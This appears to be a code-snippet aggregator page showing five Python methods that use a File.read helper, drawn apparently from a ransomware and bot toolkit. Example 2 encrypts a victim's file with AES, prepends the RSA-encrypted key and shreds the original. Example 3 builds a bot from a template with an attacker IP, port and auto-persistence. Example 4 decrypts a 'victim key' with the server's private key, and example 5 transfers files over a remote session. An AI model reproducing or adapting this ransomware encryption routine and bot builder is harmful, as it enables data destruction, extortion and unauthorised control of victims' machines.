示例#1
0
    def write_template(self, template, py_temp, _dict):
        data = ''
        for _data in File.read(template, False):
            data += _data

        File.write(py_temp, self.replace(data, _dict))
        self.compile_file(py_temp)
示例#2
0
    def _encrypt_file(self, file, AES_key):

        wrote_key = False
        new_file_name = os.path.basename(file) + const.encrypted_extension
        new_file_path = os.path.join(os.path.dirname(file), new_file_name)

        try:
            with open(new_file_path, 'wb') as f:

                for data in File.read(file, ):
                    if not wrote_key:
                        wrote_key = True
                        encrypted_AES_key = CryptoRSA.encrypt(
                            AES_key, self.RSA_public_key)

                        f.write(encrypted_AES_key)
                    f.write(CryptoAES.encrypt(data, AES_key))

            # shed the original file
            self.shred(file)
        except:
            pass
        finally:
            with self.active_threads_lock:
                self.active_threads -= 1
示例#3
0
    def compile_bot(self):
        _dict = {
            'addr_ip': repr(self.ip),
            'addr_port': str(self.port),
            'wait_time': str(self.wait),
            'auto_persist': repr(self.persist)
        }

        self.write_template(self.bot_template, self.bot_py_temp, _dict)
        if self.exe:
            for data in File.read(self.bot_compiled):
                self.binary += data
示例#4
0
    def decrypt_key(self, retries=1, chunk_size=512):
        with open(self.server_key, 'rb') as f:
            server_RSA_private_key = f.read()

        f = File.read(self.victim_key, True, chunk_size)

        try:
            for data in f:
                self.victim_key_decrypted += CryptoRSA.decrypt(
                    data, server_RSA_private_key)
        except Exception as e:
            if retries:
                self.decrypt_key(retries - 1, chunk_size=256)
            else:
                raise e
示例#5
0
    def send_file(self, file):
        chdir(self.home)
        if not os.path.exists(file):
            self.display('File `{}` does not exist'.format(file))
            return -1

        # send file's name
        sleep(0.5)
        print('Sending file\'s name ...')
        self.recipient_session.sendall(os.path.basename(file).encode('utf8'))

        # send file's data
        sleep(0.5)
        self.display('Sending {} ...'.format(file))

        chdir(self.home)
        for data in File.read(file):
            self.recipient_session.sendall(data)
        self.display('File sent')